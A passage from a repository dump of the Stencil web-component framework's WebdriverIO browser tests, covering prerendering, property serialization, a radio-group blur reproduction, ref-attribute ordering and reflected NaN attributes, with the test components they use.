    "content": "/**\n * Note: this file is meant to be run in the browser, not in Node.js. WebdriverIO\n * injects some basic polyfills for Node.js to make the following possible.\n */\nimport path from 'node:path';\n\nasync function setupTest(htmlFile: string): Promise<HTMLElement> {\n  if (document.querySelector('iframe')) {\n    document.body.removeChild(document.querySelector('iframe'));\n  }\n\n  const htmlFilePath = path.resolve(\n    path.dirname(globalThis.__wdioSpec__),\n    '..',\n    'www-prerender-script',\n    htmlFile.slice(htmlFile.startsWith('/') ? 1 : 0),\n  );\n  const iframe = document.createElement('iframe');\n\n  /**\n   * Note: prefixes the absolute path to the html file with `/@fs` is a ViteJS (https://vitejs.dev/)\n   * feature which allows to serve static content from files this way\n   */\n  iframe.src = `/@fs${htmlFilePath}`;\n  iframe.width = '600px';\n  iframe.height = '600px';\n  document.body.appendChild(iframe);\n\n  /**\n   * wait for the iframe to load\n   */\n  await new Promise((resolve) => (iframe.onload = resolve));\n  return iframe.contentDocument.body;\n}\n\n/**\n * This monkey-patches `window.console.error` in order to fail a test if that\n * function is called within a test.\n *\n * @returns a teardown function which ondoes the monkey-patch\n */\nfunction patchConsoleError() {\n  const orgConsoleError = window.console.error;\n\n  window.console.error = function (...args: any[]) {\n    orgConsoleError.apply(window, args);\n    window.console.info('console.error', args);\n    throw new Error('console.error was called, this is not allowed in a unit test run');\n  };\n\n  return () => {\n    window.console.error = orgConsoleError;\n  };\n}\n\ndescribe('prerender', () => {\n  let iframe: HTMLElement;\n  before(async () => {\n    iframe = await setupTest('/prerender/index.html');\n  });\n\n  it('server componentWillLoad Order', async () => {\n    const elm = await browser.waitUntil(() => iframe.querySelector<HTMLElement>('#server-componentWillLoad'));\n    expect(elm.innerText).toMatchInlineSnapshot(`\n      \"CmpA server componentWillLoad\n      CmpD - a1-child server componentWillLoad\n      CmpD - a2-child server componentWillLoad\n      CmpD - a3-child server componentWillLoad\n      CmpD - a4-child server componentWillLoad\n      CmpB server componentWillLoad\n      CmpC server componentWillLoad\n      CmpD - c-child server componentWillLoad\"\n    `);\n  });\n\n  it('server componentDidLoad Order', async () => {\n    const elm = await browser.waitUntil(() => iframe.querySelector<HTMLElement>('#server-componentDidLoad'));\n    expect(elm.innerText).toMatchInlineSnapshot(`\n      \"CmpD - a1-child server componentDidLoad\n      CmpD - a2-child server componentDidLoad\n      CmpD - a3-child server componentDidLoad\n      CmpD - a4-child server componentDidLoad\n      CmpD - c-child server componentDidLoad\n      CmpC server componentDidLoad\n      CmpB server componentDidLoad\n      CmpA server componentDidLoad\"\n    `);\n  });\n\n  it('correct scoped styles applied after scripts kick in', async () => {\n    const iframe = await setupTest('/prerender/index.html');\n    await browser.waitUntil(() => iframe.querySelector('cmp-scoped-a.hydrated'));\n    testScopedStyles(iframe);\n  });\n\n  it('no-script, correct scoped styles applied before scripts kick in', async () => {\n    const iframe = await setupTest('/prerender/index-no-script.html');\n    testScopedStyles(iframe);\n  });\n\n  it('root slots', async () => {\n    const iframe = await setupTest('/prerender/index.html');\n\n    const scoped = iframe.querySelector('cmp-client-scoped');\n    const scopedStyle = getComputedStyle(scoped.querySelector('section'));\n    expect(scopedStyle.color).toBe('rgb(255, 0, 0)');\n\n    const shadow = iframe.querySelector('cmp-client-shadow');\n    await browser.waitUntil(async () => shadow.shadowRoot.querySelector('article'));\n    const article = shadow.shadowRoot.querySelector('article');\n\n    const shadowStyle = getComputedStyle(article);\n    await browser.waitUntil(async () => shadowStyle.color === 'rgb(0, 155, 0)');\n    expect(shadowStyle.color).toBe('rgb(0, 155, 0)');\n\n    const blueText = shadow.shadowRoot.querySelector('cmp-text-blue');\n    const blueTextStyle = getComputedStyle(blueText.querySelector('text-blue'));\n    await browser.waitUntil(async () => blueTextStyle.color === 'rgb(0, 0, 255)');\n    expect(blueTextStyle.color).toBe('rgb(0, 0, 255)');\n\n    const greenText = shadow.shadowRoot.querySelector('cmp-text-green');\n    const greenTextStyle = getComputedStyle(greenText.querySelector('text-green'));\n    expect(greenTextStyle.color).toBe('rgb(0, 255, 0)');\n  });\n\n  // this describe block is just here to let us run a cleanup function after\n  // the test exits, whether or not it fails\n  describe('should render an svg child', () => {\n    const teardown = patchConsoleError();\n    after(teardown);\n\n    it('should render an svg child', async () => {\n      const iframe = await setupTest('/prerender/index.html');\n      const testSvg = iframe.querySelector('test-svg');\n      expect(testSvg.className).toContain('hydrated');\n    });\n  });\n});\n\nfunction testScopedStyles(app: HTMLElement) {\n  const cmpScopedA = app.querySelector('cmp-scoped-a');\n  const scopedAStyles = window.getComputedStyle(cmpScopedA);\n  expect(scopedAStyles.backgroundColor).toBe('rgb(0, 128, 0)');\n\n  const cmpScopedADiv = cmpScopedA.querySelector('div');\n  const scopedADivStyles = window.getComputedStyle(cmpScopedADiv);\n  expect(scopedADivStyles.fontSize).toBe('14px');\n\n  const cmpScopedAP = cmpScopedA.querySelector('p');\n  const scopedAPStyles = window.getComputedStyle(cmpScopedAP);\n  expect(scopedAPStyles.color).toBe('rgb(128, 0, 128)');\n\n  const cmpScopedAScopedClass = cmpScopedA.querySelector('.scoped-class');\n  const scopedAScopedClassStyles = window.getComputedStyle(cmpScopedAScopedClass);\n  expect(scopedAScopedClassStyles.color).toBe('rgb(0, 0, 255)');\n\n  const cmpScopedB = app.querySelector('cmp-scoped-b');\n  const scopedBStyles = window.getComputedStyle(cmpScopedB);\n  expect(scopedBStyles.backgroundColor).toBe('rgb(128, 128, 128)');\n\n  const cmpScopedBDiv = cmpScopedB.querySelector('div');\n  const scopedBDivStyles = window.getComputedStyle(cmpScopedBDiv);\n  expect(scopedBDivStyles.fontSize).toBe('18px');\n\n  const cmpScopedBP = cmpScopedB.querySelector('p');\n  const scopedBPStyles = window.getComputedStyle(cmpScopedBP);\n  expect(scopedBPStyles.color).toBe('rgb(0, 128, 0)');\n\n  const cmpScopedBScopedClass = cmpScopedB.querySelector('.scoped-class');\n  const scopedBScopedClassStyles = window.getComputedStyle(cmpScopedBScopedClass);\n  expect(scopedBScopedClassStyles.color).toBe('rgb(255, 255, 0)');\n}\n"
  },
  {
    "path": "test/wdio/prerender.stencil.config.ts",
    "content": "import type { Config } from '../../internal/index.js';\n\nexport const config: Config = {\n  namespace: 'TestPrerender',\n  globalStyle: 'test-prerender/src/global/app.css',\n  tsconfig: 'tsconfig-prerender.json',\n  outputTargets: [\n    {\n      type: 'www',\n      dir: `www-prerender-script`,\n      baseUrl: 'https://wdio.stenciljs.com/prerender',\n      serviceWorker: null,\n      empty: false,\n      prerenderConfig: './test-prerender/prerender.config.js',\n    },\n  ],\n};\n"
  },
  {
    "path": "test/wdio/property-serializer/cmp.test.tsx",
    "content": "import { render, waitForChanges } from '@wdio/browser-runner/stencil';\nimport { expect } from '@wdio/globals';\n\ndescribe('prop-serializer', () => {\n  before(async () => {\n    render({\n      html: `<prop-serializer></prop-serializer>`,\n      components: [],\n    });\n  });\n\n  it('correctly serializes baisc properties', async () => {\n    const root = document.body.querySelector('prop-serializer');\n    await root.reset();\n    await waitForChanges();\n    root.boolOrSomething = true;\n    await waitForChanges();\n    expect(root.getAttribute('bool-or-something')).toBe('true');\n    root.boolOrSomething = false;\n    await waitForChanges();\n    expect(root.getAttribute('bool-or-something')).toBe(null);\n    root.boolOrSomething = 'hello';\n    await waitForChanges();\n    expect(root.getAttribute('bool-or-something')).toBe('hello');\n    root.boolOrSomething = 0;\n    await waitForChanges();\n    expect(root.getAttribute('bool-or-something')).toBe(null);\n    expect(await root.getBools()).toEqual([true, false, 'hello', 0]);\n\n    root.array = ['1', '2', '3'];\n    root.json = { foo: 'bar' };\n    await waitForChanges();\n    expect(root.getAttribute('array')).toBe('[\"1\",\"2\",\"3\"]');\n    expect(root.getAttribute('json')).toBe('{\"foo\":\"bar\"}');\n\n    expect(await root.getArray()).toEqual([['1', '2', '3']]);\n    expect(await root.getJson()).toEqual([{ foo: 'bar' }]);\n  });\n\n  it('correctly serializes get / set properties in the correct order', async () => {\n    const root = document.body.querySelector('prop-serializer');\n    await root.reset();\n    root.getSet = { foo: 'bar' };\n    expect(root.getAttribute('get-set')).toEqual(JSON.stringify({ foo: 'bar' }));\n    // hits the setter first\n    // then the serializer\n    // then the watcher\n    expect(await root.getGetSet()).toEqual(['1.', { foo: 'bar' }, '2.', { foo: 'bar' }, '3.', { foo: 'bar' }]);\n\n    root.getSet = { bar: 'baz' };\n    // hits the setter first\n    // then the serializer\n    // then the watcher\n    expect(await root.getGetSet()).toEqual([\n      '1.',\n      { foo: 'bar' },\n      '2.',\n      { foo: 'bar' },\n      '3.',\n      { foo: 'bar' },\n      '1.',\n      { bar: 'baz' },\n      '2.',\n      { bar: 'baz' },\n      '3.',\n      { bar: 'baz' },\n    ]);\n  });\n\n  it('does not affect `reflect: false` properties', async () => {\n    const root = document.body.querySelector('prop-serializer');\n    root.nonReflect = 'no attribute';\n    await waitForChanges();\n    expect(root.getAttribute('non-reflect')).toBe(null);\n    expect(root.nonReflect).toBe('no attribute');\n  });\n});\n"
  },
  {
    "path": "test/wdio/property-serializer/cmp.tsx",
    "content": "import { Component, h, Method, Prop, PropSerialize, Watch } from '@stencil/core';\n\n@Component({\n  tag: 'prop-serializer',\n})\nexport class PropSerializer {\n  // boolean\n\n  @Prop() boolOrSomething: boolean | string | number;\n\n  @PropSerialize('boolOrSomething')\n  boolOrSomethingSerialize(newVal: any) {\n    if (newVal === false || newVal === 'false' || newVal === 0 || newVal === '0') {\n      return null;\n    }\n    if (newVal) return newVal.toString();\n  }\n\n  private boolStates: (boolean | string | number)[] = [];\n\n  @Watch('boolOrSomething')\n  boolWatcher(newVal: any) {\n    this.boolStates.push(newVal);\n  }\n\n  @Method()\n  async getBools() {\n    return this.boolStates;\n  }\n\n  // non-reflect\n  @Prop({ reflect: false }) nonReflect: string;\n  @PropSerialize('nonReflect')\n  nonReflectSerialize(newVal: any) {\n    // should never be called\n    return newVal ? newVal.toString().toUpperCase() : null;\n  }\n\n  // array / json\n\n  @Prop() array: string[];\n  @Prop() json: { foo: string };\n  @PropSerialize('json')\n  @PropSerialize('array')\n  jsonSerialize(newVal: any) {\n    try {\n      return JSON.stringify(newVal);\n    } catch (e) {\n      return null;\n    }\n  }\n\n  private jsonStates: any = [];\n  private arrayStates: any = [];\n\n  @Watch('array')\n  @Watch('json')\n  arrayAndJsonWatcher(newVal: any, _old: any, propName: string) {\n    if (propName === 'array') this.arrayStates.push(newVal);\n    if (propName === 'json') this.jsonStates.push(newVal);\n  }\n\n  @Method()\n  async getJson() {\n    return this.jsonStates;\n  }\n\n  @Method()\n  async getArray() {\n    return this.arrayStates;\n  }\n\n  private getSetOrder: any[] = [];\n\n  private _getSet: { [key: string]: string } = { moo: 'bar' };\n  @Prop()\n  get getSet() {\n    return this._getSet;\n  }\n  set getSet(v: { [key: string]: string }) {\n    this.getSetOrder.push('1.', v);\n    this._getSet = v;\n  }\n\n  @PropSerialize('getSet')\n  getSetSerialize(newVal: any) {\n    this.getSetOrder.push('2.', newVal);\n    try {\n      return JSON.stringify(newVal);\n    } catch (e) {\n      return null;\n    }\n  }\n\n  @Watch('getSet')\n  getSetWatcher(newVal: any) {\n    this.getSetOrder.push('3.', newVal);\n  }\n\n  @Method()\n  async getGetSet() {\n    return this.getSetOrder;\n  }\n\n  @Method()\n  async reset() {\n    this.boolStates = [];\n    this.jsonStates = [];\n    this.arrayStates = [];\n    this.getSetOrder = [];\n  }\n\n  render() {\n    return <div>testing</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/radio-group-blur/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, $$, browser, expect } from '@wdio/globals';\n\ndescribe('radio-group-blur', function () {\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => <radio-group-blur-test></radio-group-blur-test>,\n    });\n    await browser.pause(100);\n  });\n\n  it('should not emit blur event when focusing radio in radio group with slot', async () => {\n    await expect($('#blur-count')).toHaveText('0');\n    await $('ion-radio').click();\n    await expect($('#blur-count')).toHaveText('0');\n  });\n\n  it('should allow blur events after fast focus change', async () => {\n    await browser.waitUntil(\n      async () => {\n        const [radio1, radio2] = await $$('ion-radio');\n        return radio1 && radio2;\n      },\n      {\n        timeout: 5000,\n        timeoutMsg: 'Radio elements not found',\n      },\n    );\n    const [radio1, radio2] = await $$('ion-radio');\n    await radio1.click();\n    await radio2.click();\n    await expect($('#blur-count')).toHaveText('1');\n  });\n});\n"
  },
  {
    "path": "test/wdio/radio-group-blur/cmp.tsx",
    "content": "import { Component, Element, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'radio-group-blur-test',\n})\nexport class RadioGroupBlurTest {\n  @Element() el: HTMLElement;\n  @State() blurCount = 0;\n\n  componentDidLoad = () => {\n    setTimeout(() => {\n      // The issue: blue is called on focus of the first radio only reproduces\n      // when the radios are dynamically added with a timeout\n      const radioGroup = document.getElementById('radio-group');\n      for (let i = 0; i < 3; i++) {\n        const radio = document.createElement('ion-radio');\n        radio.value = `radio-${i}`;\n        radio.textContent = `Radio ${i}`;\n        radioGroup?.appendChild(radio);\n      }\n    }, 100);\n\n    // listen for radio `ionBlur` on all radios\n    document.addEventListener('ionBlur', () => {\n      this.blurCount++;\n    });\n  };\n\n  render() {\n    return (\n      <div>\n        <h1>Radio Group Blur Test</h1>\n        <p>\n          Blur Count: <span id=\"blur-count\">{this.blurCount}</span>\n        </p>\n\n        <ion-radio-group id=\"radio-group\"></ion-radio-group>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/radio-group-blur/radio-group.css",
    "content": "ion-radio-group {\n  display: block;\n}\n\n.helper-text {\n  display: block;\n}\n\n.error-text {\n  display: none;\n}\n"
  },
  {
    "path": "test/wdio/radio-group-blur/radio.css",
    "content": ":host {\n  display: block;\n  position: relative;\n\n  max-width: 100%;\n\n  min-height: 40px;\n\n  cursor: pointer;\n\n  user-select: none;\n\n  box-sizing: border-box;\n}\n\n:host(.radio-disabled) {\n  pointer-events: none;\n}\n\n.radio-icon {\n  display: flex;\n\n  align-items: center;\n  justify-content: center;\n\n  width: 28px;\n  height: 28px;\n\n  contain: layout size style;\n}\n\n.radio-icon,\n.radio-inner {\n  box-sizing: border-box;\n}\n\ninput {\n  /* @include visually-hidden(); */\n}\n\n.radio-wrapper {\n  display: flex;\n\n  position: relative;\n\n  flex-grow: 1;\n\n  align-items: center;\n  justify-content: space-between;\n\n  height: inherit;\n\n  min-height: inherit;\n\n  cursor: inherit;\n}\n\n.label-text-wrapper {\n  text-overflow: ellipsis;\n\n  white-space: nowrap;\n\n  overflow: hidden;\n}\n\n.native-wrapper {\n  display: flex;\n\n  align-items: center;\n}\n\n.radio-icon {\n  margin: 0;\n  border-radius: 999px;\n  border: 1px solid #ccc;\n}\n\n.radio-inner {\n  border-radius: 999px;\n\n  width: calc(50% + 1px);\n  height: calc(50% + 1px);\n\n  transform: scale3d(0, 0, 0);\n\n  transition: transform 280ms cubic-bezier(.4, 0, .2, 1);\n\n  background: #177fff;\n}\n\n:host(.radio-checked) .radio-icon {\n  border-color: #177fff;\n}\n\n:host(.radio-checked) .radio-inner {\n  transform: scale3d(1, 1, 1);\n}\n\n"
  },
  {
    "path": "test/wdio/radio-group-blur/test-radio-group.tsx",
    "content": "import { Component, Element, Event, EventEmitter, h, Host, Prop, Watch } from '@stencil/core';\n\nexport type RadioGroupCompareFn = (currentValue: any, compareValue: any) => boolean;\n\n@Component({\n  tag: 'ion-radio-group',\n  styleUrl: 'radio-group.css',\n})\nexport class TestRadioGroup {\n  private inputId = `ion-rg-${radioGroupIds++}`;\n  private helperTextId = `${this.inputId}-helper-text`;\n  private errorTextId = `${this.inputId}-error-text`;\n\n  @Element() el!: HTMLElement;\n\n  /**\n   * If `true`, the radios can be deselected.\n   */\n  @Prop() allowEmptySelection = false;\n\n  /**\n   * This property allows developers to specify a custom function or property\n   * name for comparing objects when determining the selected option in the\n   * ion-radio-group. When not specified, the default behavior will use strict\n   * equality (===) for comparison.\n   */\n  @Prop() compareWith?: string | RadioGroupCompareFn | null;\n\n  /**\n   * The name of the control, which is submitted with the form data.\n   */\n  @Prop() name: string = this.inputId;\n\n  /**\n   * the value of the radio group.\n   */\n  @Prop({ mutable: true }) value?: any | null;\n\n  /**\n   * The helper text to display at the top of the radio group.\n   */\n  @Prop() helperText?: string;\n\n  /**\n   * The error text to display at the top of the radio group.\n   */\n  @Prop() errorText?: string;\n\n  /**\n   * Emitted when the value has changed.\n   *\n   * This event will not emit when programmatically setting the `value` property.\n   */\n  @Event() ionChange!: EventEmitter<any>;\n\n  /**\n   * Emitted when the `value` property has changed.\n   * This is used to ensure that `ion-radio` can respond\n   * to any value property changes from the group.\n   *\n   * @internal\n   */\n  @Event() ionValueChange!: EventEmitter<any>;\n\n  @Watch('value')\n  valueChanged(value: any | undefined) {\n    this.setRadioTabindex(value);\n    this.ionValueChange.emit({ value });\n  }\n\n  private emitValueChange(event?: Event) {\n    const { value } = this;\n    this.ionChange.emit({ value, event });\n  }\n\n  private onClick = (ev: Event) => {\n    ev.preventDefault();\n\n    /**\n     * The Radio Group component mandates that only one radio button\n     * within the group can be selected at any given time. Since `ion-radio`\n     * is a shadow DOM component, it cannot natively perform this behavior\n     * using the `name` attribute.\n     */\n    const selectedRadio = ev.target && (ev.target as HTMLElement).closest('ion-radio');\n    /**\n     * Our current disabled prop definition causes Stencil to mark it\n     * as optional. While this is not desired, fixing this behavior\n     * in Stencil is a significant breaking change, so this effort is\n     * being de-risked in STENCIL-917. Until then, we compromise\n     * here by checking for falsy `disabled` values instead of strictly\n     * checking `disabled === false`.\n     */\n    if (selectedRadio) {\n      const currentValue = this.value;\n      const newValue = selectedRadio.value;\n      if (newValue !== currentValue) {\n        this.value = newValue;\n        this.emitValueChange(ev);\n      } else if (this.allowEmptySelection) {\n        this.value = undefined;\n        this.emitValueChange(ev);\n      }\n    }\n  };\n\n  private setRadioTabindex = (value: any | undefined) => {\n    const radios = this.getRadios();\n\n    // Get the first radio that is not disabled and the checked one\n    const first = radios.find((radio) => radio);\n    const checked = radios.find((radio) => radio.value === value);\n\n    if (!first && !checked) {\n      return;\n    }\n\n    // If an enabled checked radio exists, set it to be the focusable radio\n    // otherwise we default to focus the first radio\n    const focusable = checked || first;\n\n    for (const radio of radios) {\n      const tabindex = radio === focusable ? 0 : -1;\n      radio.setButtonTabindex(tabindex);\n    }\n  };\n\n  private getRadios(): HTMLIonRadioElement[] {\n    return Array.from(this.el.querySelectorAll('ion-radio'));\n  }\n\n  /**\n   * Renders the helper text or error text values\n   * @returns The helper text or error text values.\n   */\n  private renderHintText() {\n    const { helperText, errorText, helperTextId, errorTextId } = this;\n\n    const hasHintText = !!helperText || !!errorText;\n    if (!hasHintText) {\n      return;\n    }\n\n    return (\n      <div class=\"radio-group-top\">\n        <div id={helperTextId} class=\"helper-text\">\n          {helperText}\n        </div>\n        <div id={errorTextId} class=\"error-text\">\n          {errorText}\n        </div>\n      </div>\n    );\n  }\n\n  render() {\n    return (\n      <Host role=\"radiogroup\" onClick={this.onClick}>\n        {this.renderHintText()}\n\n        {/* Change this to be wrapped in a <div> to fix the issue */}\n        <slot></slot>\n      </Host>\n    );\n  }\n}\n\nlet radioGroupIds = 0;\n"
  },
  {
    "path": "test/wdio/radio-group-blur/test-radio.tsx",
    "content": "import { Component, Element, Event, EventEmitter, h, Host, Method, Prop, State, Watch } from '@stencil/core';\n\nimport { addEventListener, isOptionSelected, removeEventListener } from './utils.js';\n\n@Component({\n  tag: 'ion-radio',\n  styleUrl: 'radio.css',\n  shadow: true,\n})\nexport class Radio {\n  private inputId = `ion-rb-${radioButtonIds++}`;\n  private radioGroup: HTMLIonRadioGroupElement | null = null;\n\n  @Element() el!: HTMLIonRadioElement;\n\n  /**\n   * If `true`, the radio is selected.\n   */\n  @State() checked = false;\n\n  /**\n   * The tabindex of the radio button.\n   * @internal\n   */\n  @State() buttonTabindex = -1;\n\n  /**\n   * The name of the control, which is submitted with the form data.\n   */\n  @Prop() name: string = this.inputId;\n\n  /**\n   * the value of the radio.\n   */\n  @Prop() value?: any | null;\n\n  @Watch('value')\n  valueChanged() {\n    /**\n     * The new value of the radio may\n     * match the radio group's value,\n     * so we see if it should be checked.\n     */\n    this.updateState();\n  }\n\n  /**\n   * Emitted when the radio button has focus.\n   */\n  @Event() ionFocus!: EventEmitter<void>;\n\n  /**\n   * Emitted when the radio button loses focus.\n   */\n  @Event() ionBlur!: EventEmitter<void>;\n\n  componentDidLoad() {\n    /**\n     * The value may be `undefined` if it\n     * gets set before the radio is\n     * rendered. This ensures that the radio\n     * is checked if the value matches. This\n     * happens most often when Angular is\n     * rendering the radio.\n     */\n    this.updateState();\n  }\n\n  @Method()\n  async setFocus(ev?: globalThis.Event) {\n    if (ev !== undefined) {\n      ev.stopPropagation();\n      ev.preventDefault();\n    }\n\n    this.el.focus();\n  }\n\n  @Method()\n  async setButtonTabindex(value: number) {\n    this.buttonTabindex = value;\n  }\n\n  connectedCallback() {\n    if (this.value === undefined) {\n      this.value = this.inputId;\n    }\n    const radioGroup = (this.radioGroup = this.el.closest('ion-radio-group'));\n    if (radioGroup) {\n      this.updateState();\n      addEventListener(radioGroup, 'ionValueChange', this.updateState);\n    }\n  }\n\n  disconnectedCallback() {\n    const radioGroup = this.radioGroup;\n    if (radioGroup) {\n      removeEventListener(radioGroup, 'ionValueChange', this.updateState);\n      this.radioGroup = null;\n    }\n  }\n\n  private updateState = () => {\n    if (this.radioGroup) {\n      const { compareWith, value: radioGroupValue } = this.radioGroup;\n\n      this.checked = isOptionSelected(radioGroupValue, this.value, compareWith);\n    }\n  };\n\n  private onClick = () => {\n    this.checked = true;\n  };\n\n  private onFocus = () => {\n    this.ionFocus.emit();\n  };\n\n  private onBlur = () => {\n    this.ionBlur.emit();\n  };\n\n  private renderRadioControl() {\n    return (\n      <div class=\"radio-icon\" part=\"container\">\n        <div class=\"radio-inner\" part=\"mark\" />\n        <div class=\"radio-ripple\"></div>\n      </div>\n    );\n  }\n\n  render() {\n    const { checked, buttonTabindex } = this;\n\n    return (\n      <Host\n        onFocus={this.onFocus}\n        onBlur={this.onBlur}\n        onClick={this.onClick}\n        role=\"radio\"\n        aria-checked={checked ? 'true' : 'false'}\n        tabindex={buttonTabindex}\n        class={{\n          'radio-checked': checked,\n        }}\n      >\n        <label class=\"radio-wrapper\">\n          <div class=\"label-text-wrapper\">\n            <slot></slot>\n          </div>\n          <div class=\"native-wrapper\">{this.renderRadioControl()}</div>\n        </label>\n      </Host>\n    );\n  }\n}\n\nlet radioButtonIds = 0;\n"
  },
  {
    "path": "test/wdio/radio-group-blur/utils.ts",
    "content": "export const addEventListener = (el: any, eventName: string, callback: any, opts?: any) => {\n  if (typeof (window as any) !== 'undefined') {\n    const win = window as any;\n    const config = win?.Ionic?.config;\n    if (config) {\n      const ael = config.get('_ael');\n      if (ael) {\n        return ael(el, eventName, callback, opts);\n      } else if (config._ael) {\n        return config._ael(el, eventName, callback, opts);\n      }\n    }\n  }\n\n  return el.addEventListener(eventName, callback, opts);\n};\n\nexport const removeEventListener = (el: any, eventName: string, callback: any, opts?: any) => {\n  if (typeof (window as any) !== 'undefined') {\n    const win = window as any;\n    const config = win?.Ionic?.config;\n    if (config) {\n      const rel = config.get('_rel');\n      if (rel) {\n        return rel(el, eventName, callback, opts);\n      } else if (config._rel) {\n        return config._rel(el, eventName, callback, opts);\n      }\n    }\n  }\n\n  return el.removeEventListener(eventName, callback, opts);\n};\n\ntype CompareFn = (currentValue: any, compareValue: any) => boolean;\n\n/**\n * Uses the compareWith param to compare two values to determine if they are equal.\n *\n * @param currentValue The current value of the control.\n * @param compareValue The value to compare against.\n * @param compareWith The function or property name to use to compare values.\n * @returns True if the values are equal, false otherwise.\n */\nexport const compareOptions = (\n  currentValue: any,\n  compareValue: any,\n  compareWith?: string | CompareFn | null,\n): boolean => {\n  if (typeof compareWith === 'function') {\n    return compareWith(currentValue, compareValue);\n  } else if (typeof compareWith === 'string') {\n    return currentValue[compareWith] === compareValue[compareWith];\n  } else {\n    return Array.isArray(compareValue) ? compareValue.includes(currentValue) : currentValue === compareValue;\n  }\n};\n\n/**\n * Compares a value against the current value(s) to determine if it is selected.\n *\n * @param currentValue The current value of the control.\n * @param compareValue The value to compare against.\n * @param compareWith The function or property name to use to compare values.\n * @returns True if the value is selected, false otherwise.\n */\nexport const isOptionSelected = (\n  currentValue: any[] | any,\n  compareValue: any,\n  compareWith?: string | CompareFn | null,\n) => {\n  if (currentValue === undefined) {\n    return false;\n  }\n  if (Array.isArray(currentValue)) {\n    return currentValue.some((val) => compareOptions(val, compareValue, compareWith));\n  } else {\n    return compareOptions(currentValue, compareValue, compareWith);\n  }\n};\n"
  },
  {
    "path": "test/wdio/ref-attr-order/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('ref-attr-order', () => {\n  beforeEach(() => {\n    render({\n      template: () => <ref-attr-order></ref-attr-order>,\n    });\n  });\n\n  it('should call the `ref` callback after handling other attrs', async () => {\n    const cmp = await $('ref-attr-order');\n    await cmp.waitForStable();\n    await expect(cmp).toHaveText('my tabIndex: 0');\n  });\n});\n"
  },
  {
    "path": "test/wdio/ref-attr-order/cmp.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'ref-attr-order',\n  shadow: true,\n})\nexport class RefAttrOrder {\n  @State() index: number = -1;\n\n  // order matters for the attributes in the test below!\n  //\n  // this is testing that even though the `ref` attribute is declared first in\n  // the JSX for the `div` the `ref` callback will nonetheless be called after\n  // the `tabIndex` attribute is applied to the element.\n  // See https://github.com/stenciljs/core/issues/4074\n  render() {\n    return (\n      <div\n        ref={(el) => {\n          if (el) {\n            this.index = el.tabIndex;\n          }\n        }}\n        tabIndex={0}\n      >\n        my tabIndex: {this.index}\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/reflect-nan-attribute/reflect-nan-attribute.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('reflect-nan-attribute', () => {\n  beforeEach(() => {\n    render({\n      // The string 'NaN' will be interpreted as a number by Stencil, based on\n      // the type declaration on the prop tied to the 'val' attribute\n      template: () => <reflect-nan-attribute val=\"NaN\"></reflect-nan-attribute>,\n    });\n  });\n\n  it('renders the component the correct number of times', async () => {\n    await expect($('reflect-nan-attribute')).toHaveText('reflect-nan-attribute Render Count: 1');\n  });\n});\n"
  },
  {
    "path": "test/wdio/reflect-nan-attribute/reflect-nan-attribute.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'reflect-nan-attribute',\n  // 'shadow' is not needed here, but does make testing easier by using the shadow root to help encapsulate textContent\n  shadow: true,\n})\nexport class ReflectNanAttribute {\n  // for this test, it's necessary that 'reflect' is true, the class member is not camel-cased, and is of type 'number'\n  @Prop({ reflect: true }) val: number;\n\n  // counter to proxy the number of times a render has occurred\n  renderCount = 0;\n\n  render() {\n    this.renderCount += 1;\n    return <div>reflect-nan-attribute Render Count: {this.renderCount}</div>;\n  }\n\n  componentDidUpdate() {\n    // we don't expect the component to update, this will increment the render count in case it does (and should fail\n    // the test)\n    this.renderCount += 1;\n  }\n}\n"
  },
  {
    "path": "test/wdio/reflect-nan-attribute-hyphen/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('reflect-nan-attribute-hyphen', () => {\n  beforeEach(() => {\n    render({\n      // The string 'NaN' will be interpreted as a number by Stencil, based on the type declaration on the prop tied to\n      // the 'val-num' attribute\n      template: () => <reflect-nan-attribute-hyphen val-num=\"NaN\"></reflect-nan-attribute-hyphen>,\n    });\n  });\n\n  it('renders the component the correct number of times', async () => {\n    await expect($('reflect-nan-attribute-hyphen')).toHaveText('reflect-nan-attribute-hyphen Render Count: 1');\n  });\n});\n"
  },
  {
    "path": "test/wdio/reflect-nan-attribute-hyphen/reflect-nan-attribute-hyphen.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'reflect-nan-attribute-hyphen',\n  // 'shadow' is not needed here, but does make testing easier by using the shadow root to help encapsulate textContent\n  shadow: true,\n})\nexport class ReflectNanAttributeHyphen {\n  // for this test, it's necessary that 'reflect' is true, the class member is camel-cased, and is of type 'number'\n  @Prop({ reflect: true }) valNum: number;\n\n  // counter to proxy the number of times a render has occurred\n  renderCount = 0;\n\n  render() {\n    this.renderCount += 1;\n    return <div>reflect-nan-attribute-hyphen Render Count: {this.renderCount}</div>;\n  }\n\n  componentDidUpdate() {\n    // we don't expect the component to update, this will increment the render count in case it does (and should fail\n    // the test)\n    this.renderCount += 1;\n  }\n}\n"
  },
  {
    "path": "test/wdio/reflect-nan-attribute-with-child/child-reflect-nan-attribute.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'child-reflect-nan-attribute',\n  // 'shadow' is not needed here, but does make testing easier by using the shadow root to help encapsulate textContent\n  shadow: true,\n})\nexport class ChildReflectNanAttribute {\n  // for this test, it's necessary that 'reflect' is true, the class member is not camel-cased, and is of type 'number'\n  @Prop({ reflect: true }) val: number;\n\n  // counter to proxy the number of times a render has occurred\n  renderCount = 0;\n\n  render() {\n    this.renderCount += 1;\n    return <div>child-reflect-nan-attribute Render Count: {this.renderCount}</div>;\n  }\n\n  componentDidUpdate() {\n    // we don't expect the component to update, this will increment the render count in case it does (and should fail\n    // the test)\n    this.renderCount += 1;\n  }\n}\n"
  },
  {
    "path": "test/wdio/reflect-nan-attribute-with-child/cmp.test.tsx",
